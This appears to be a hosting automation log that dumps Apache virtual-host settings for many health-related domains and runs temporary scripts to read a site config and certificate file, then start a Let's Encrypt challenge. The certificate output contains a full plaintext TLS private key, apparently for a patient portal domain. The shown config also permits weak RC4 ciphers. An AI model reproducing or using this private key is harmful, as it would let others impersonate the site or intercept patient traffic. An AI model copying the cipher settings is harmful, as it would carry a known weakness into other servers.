alias 144327.myapp.care
alias 654784.myapp.care
port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
alias 847670.myapp.care
alias 573398.myapp.care
port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
alias www.pai-rco.myapp.care
port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
alias www.sma1-lgb.myapp.care
port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
alias www.sma1-lrygb.myapp.care
port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
alias www.sma1-lsg.myapp.care
port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
alias www.sma1-pcnl.myapp.care
port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
alias www.test.myapp.care
port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
alias www.version2.myapp.care
wild alias *.myapp.care
port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
alias live.patientapps.net
port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
alias www.patientapps.net
port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
alias store.patientapps.com
alias store.patientapps.co
port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
*:443 is a NameVirtualHost
default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
alias myapp.care
port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
alias www.cn-dego.myapp.care
port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
alias www.d-oak.myapp.care
port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
alias www.ma1-acrp.myapp.care
port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
alias www.ma1-anfr.myapp.care
port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
alias www.ma1-anin.myapp.care
port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
alias www.ma1-ankp.myapp.care
port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
alias www.ma1-anrp.myapp.care
port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
alias www.ma1-arcr.myapp.care
port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
alias www.ma1-asst.myapp.care
port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
alias www.ma1-chel.myapp.care
port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
alias www.ma1-cybb.myapp.care
port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
alias www.ma1-dego.myapp.care
port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
alias www.ma1-epas.myapp.care
port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
alias www.ma1-fass.myapp.care
port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
alias www.ma1-ldhr.myapp.care
port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
alias www.ma1-lsst.myapp.care
port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
alias www.ma1-mtfp.myapp.care
port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
alias www.ma1-mvrc.myapp.care
port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
alias www.ma1-octf.myapp.care
port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
alias www.ma1-ovin.myapp.care
port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
alias www.ma1-pfer.myapp.care
port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
alias www.ma1-prls.myapp.care
port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
alias www.ma1-rcl.myapp.care
port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
alias www.ma1-rorp.myapp.care
port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
alias www.ma1-savr.myapp.care
port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
alias www.ma1-shem.myapp.care
port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
alias www.ma1-sspr.myapp.care
port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
alias www.ma1-tosr.myapp.care
port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
alias www.ma1-tylo.myapp.care
port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
alias www.ma1-typa.myapp.care
port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
alias www.ma1-tyto.myapp.care
port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
alias www.ma1-utfa.myapp.care
port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
alias www.ma1-vasc.myapp.care
port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
alias www.ma1-vasr.myapp.care
port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
alias www.ma2-acrp.myapp.care
port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
alias www.ma2-anar.myapp.care
port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
alias www.ma2-anfr.myapp.care
port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
alias www.ma2-anin.myapp.care
port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
alias www.ma2-anrp.myapp.care
port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
alias www.ma2-buni.myapp.care
port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
alias www.ma2-chel.myapp.care
port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
alias www.ma2-hamm.myapp.care
port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
alias www.ma2-hind.myapp.care
port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
alias www.ma2-lcl.myapp.care
port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
alias www.ma2-mdfu.myapp.care
port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
alias www.ma2-mtfp.myapp.care
port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
alias www.ma2-rcl.myapp.care
port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
alias www.pai-lc.myapp.care
port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
alias 847670.myapp.care
alias 573398.myapp.care
port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
alias www.pai-rco.myapp.care
port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
alias www.sma1-lgb.myapp.care
port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
alias www.sma1-lrygb.myapp.care
port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
alias www.sma1-lsg.myapp.care
port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
alias www.sma1-pcnl.myapp.care
port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
alias www.test.myapp.care
port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
alias www.version2.myapp.care
wild alias *.myapp.care
port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
alias live.patientapps.net
port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
alias www.patientapps.net
port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
alias store.patientapps.com
alias store.patientapps.co
port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-08-30 06:03:47:
PUT: /tmp/pkp890468
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/patientapps_pai_net.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-08-30 06:03:47:
chmod 755 /tmp/pkp890468; /tmp/pkp890468; rm /tmp/pkp890468
2025-08-30 06:03:47:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_pai_net.conf 1572
<VirtualHost *:80>
ServerName pai.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_portal/public
<Directory /var/www/patientapps_portal/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/pai_access.log combined
ErrorLog /var/log/apache2/patientapps/pai_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName pai.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/3f85a328a3b4d0829fd0b0b311b3007b.crt
SetEnv SIMPLESAMLPHP_CONFIG_DIR /var/simplesamlphp/config
Alias /simplesaml /var/simplesamlphp/www
<Directory /var/simplesamlphp/www>
Require all granted
</Directory>
DocumentRoot /var/www/patientapps_portal/public
<Directory /var/www/patientapps_portal/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/pai_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/pai_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-08-30 06:03:47:
PUT: /tmp/pkp342417
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/3f85a328a3b4d0829fd0b0b311b3007b.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-08-30 06:03:47:
chmod 755 /tmp/pkp342417; /tmp/pkp342417; rm /tmp/pkp342417
2025-08-30 06:03:47:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/3f85a328a3b4d0829fd0b0b311b3007b.crt 5361
ad:af:6c:98:ed:8a:90:12:40:10:21:3e:93:7b:0e:85
-----BEGIN CERTIFICATE-----
MIIFAjCCA+qgAwIBAgISBnmLSnwqcdv8Uk3R2YRJPRJaMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwODMwMDUwNTE2WhcNMjUxMTI4MDUwNTE1WjAeMRwwGgYDVQQD
ExNwYWkucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEArjYrI7t9ONXL8z0r1Zb999fGJE8GBXRmgYOf/WRdxj2atw3W1lkO6MDI
+pfZHHEvUT+aL8fUtCwJD81+8TYPU/spGUxscwNquJTBlIs0nL0ZNp9yltuKTslG
Erzdpe6AorQf8evWC963qFhkNTubk2Px+uz7+b8a7aS3bqYhlgpw4hgX/nxqEpet
ZASSfbZKfoSF0jOpoLKKXHjr7VqDQ6NykccbyFkqeeNbN6k27vOlfv576T+tG82c
WPkwl6PwbQZtGy2DJfNwuGzbtOn1qeWd7XcmIywabnGmOLKwKqaoK40NgDg5pTWk
5vIpwDL1qN329QgMpGB2DuACcCB7twIDAQABo4ICIzCCAh8wDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBTcqheIoghgvFSE8ZLa7NtsvdANGTAfBgNVHSMEGDAWgBQAtSny
LY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTIuaS5sZW5jci5vcmcvMB4GA1UdEQQXMBWCE3BhaS5wYXRpZW50YXBw
cy5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMi5jLmxlbmNyLm9yZy85MS5jcmwwggEEBgorBgEEAdZ5AgQCBIH1BIHy
APAAdgDM+w9qhXEJZf6Vm1PO6bJ8IumFXA2XjbapflTA/kwNsAAAAZj5kyLHAAAE
AwBHMEUCIDhkRBG5eUQKZhlbp5URvbTA78VX1AP9VW/Us0mUp4I9AiEAqbyYSRBQ
iDwkmBzRTlZvxAk9V+d+Emr9eX55njtCfoMAdgAN4fIwK9MNwUBiEgnqVS78R3R8
sdfpMO8OQh60fk6qNAAAAZj5kyKuAAAEAwBHMEUCIQC9Y8yQ5QyCjbikwMLAixzD
Bieal9GIgp10jFOaE9Y80gIgVlc35GmaoaHGv/9QCAXXL2HOa/xJQDTWpqbBX+Y2
BYQwDQYJKoZIhvcNAQELBQADggEBABwOlw1rGRujflu5YNL94ri6Y+5iUedYnD7g
B2U5z6++4lPKSWqnexANtlTBwEnS/fyXvwipFMSaOwbAJpCZcJR8R1Rk+P3boQdL
SoQofG3R33cJESeAzIXILtV6H+/lBZRCZ9KRsYtHS1ZHk7nHlMzUTCj66GKVJSQb
2HZhiiI6tH4Klwteo+abIWIUbG/uQ+Cy0F5OCdHU43ddgpvI9VSM0qY2PKqG7ovG
Dj5megdZc+59bM4vviE6/+wk4JTnGFJ3PP5S4p289za2MX+exzI6uR/aM/pEKHXu
2s7nQQTp6z+1y+1iBJcjMU1NyL18ZipCoYYDAC7Tlu1ryu7WVLY=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCuNisju3041cvz
PSvVlv3318YkTwYFdGaBg5/9ZF3GPZq3DdbWWQ7owMj6l9kccS9RP5ovx9S0LAkP
zX7xNg9T+ykZTGxzA2q4lMGUizScvRk2n3KW24pOyUYSvN2l7oCitB/x69YL3reo
WGQ1O5uTY/H67Pv5vxrtpLdupiGWCnDiGBf+fGoSl61kBJJ9tkp+hIXSM6mgsopc
eOvtWoNDo3KRxxvIWSp541s3qTbu86V+/nvpP60bzZxY+TCXo/BtBm0bLYMl83C4
bNu06fWp5Z3tdyYjLBpucaY4srAqpqgrjQ2AODmlNaTm8inAMvWo3fb1CAykYHYO
4AJwIHu3AgMBAAECggEAXHEyAwwCLp6EUtYq5HPy4AkHg0zLjSlvG1qVEwinGgKm
jmwxjBxF5QwnmZHqC0WkLiDp2GDZZaHYTSJmMejVyWKFNH9xLLarcra84e3cRS+y
qWGClLp6ccQsAtVlaB9e8vdR3DWgpzvPiO0ef4DZ1SQ7y0LlkmjuCRxWmcheGhcf
yBIJsFzvIdZk7rxIBvSbeJ9/ljbyXxNyaQsPGTVQajszSZJ9Xxk/a5agx7ON8S4f
C3GrICbaazpHK9ugWqxSnZB39jjPFav3h9z+id4xDOgBWN9Ef88OZ0LLtnzcv/MG
L4BkK7z2/5MITHWZxbUPjpW3b7hUVDyxumkwjmGdQQKBgQDfLShR6Eb49/hCzVIf
UeAa2zz91vaWFPm9zeJ57Xavb9QdoHwUbuAEyJhj7xl9foeXWnA/7gYD+Uu1mOuR
MNM7tESnNd4x62mh2ybmEuFHILfreNmDKHksXZEj66Va2QmUyS3syT8NYM0c5C1f
umicQd3iFQV8poDA0j/tDbFMAwKBgQDH1W5ge1XG283U6IwAx908M7e3pCY45blC
XX21wH2UlOMyR4axeXYYhjLn++l97Jf8hdauVarjt1mLEgJX65SZFn0u2XePT6hk
p8RK+YLrHLFzFQflTC2dC0YD+E2tcYjFoRnnUwbQxpoPSaFZhB7g00MsVSV0g8ju
mnn1hwx1PQKBgQDD5Wl86/xQUakzSfKJ1151dHfHAMeV2XeWKYBgMhZ5zBlOoC4J
6YDt8f4BykB/rW7rZdEd7JqPJmZUUpSD722a/JM+isQs4Uzpa+prDat8ubV3Fa8n
t4EVdlQOSavtYJFOboDHVabo4U1pzMgfPQrSDebrqjQUxDpEBsliFSDJbQKBgQDH
P47jknYvZkBwFkJqEN4NRb/b0kbuGlfCzTcnvrs4J8/09Q5e7K2MvFoLpsjj7sCI
X+ZzQyW2Eb2thZJimZk7nwnIabrlYNaVLhXxb6FSzfQ8u+54eaFNYc047h59XqOx
8fTDCqzUBAHeVlsTx0GGh/8FOAy1hSUWi14pKrOIPQKBgQDbYqJHY1ZgM2ZaE7aK
goGIZPSSbhtJug81UlwlpGkhG5CL67LP7EGoq1+kCfawJv4+mJBCqEp7hYAyJovC
7zGN2aYin82c2HBoE6aZgV+jB74Md+k0Z9vaWc+SuAEQm+JEvEqKI0CWJHwisbDe
VP0atVe4sr7b8O3LcITnhxR7tA==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-08-30 06:03:47: Establishing a connection
2025-08-30 06:03:48: Establishing a connection
2025-08-30 06:03:48:
PUT: /tmp/pkp760871
#!/bin/bash
if [ -d "/var/www/drewmarshall_dgm/.well-known" ]; then
echo 1
else
echo 0
fi
2025-08-30 06:03:48:
chmod 755 /tmp/pkp760871; /tmp/pkp760871; rm /tmp/pkp760871
2025-08-30 06:03:48:
1
2025-08-30 06:03:49: Establishing a connection
2025-08-30 06:03:49:
PUT: /tmp/pkp447939
#!/bin/bash
mkdir -p "/var/www/drewmarshall_dgm/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_dgm/.well-known/acme-challenge/"
cat > akRES0XCUNxsqDxAXm9kx2zIzbSBlFjKgPBA5JEhaHA <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
akRES0XCUNxsqDxAXm9kx2zIzbSBlFjKgPBA5JEhaHA.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
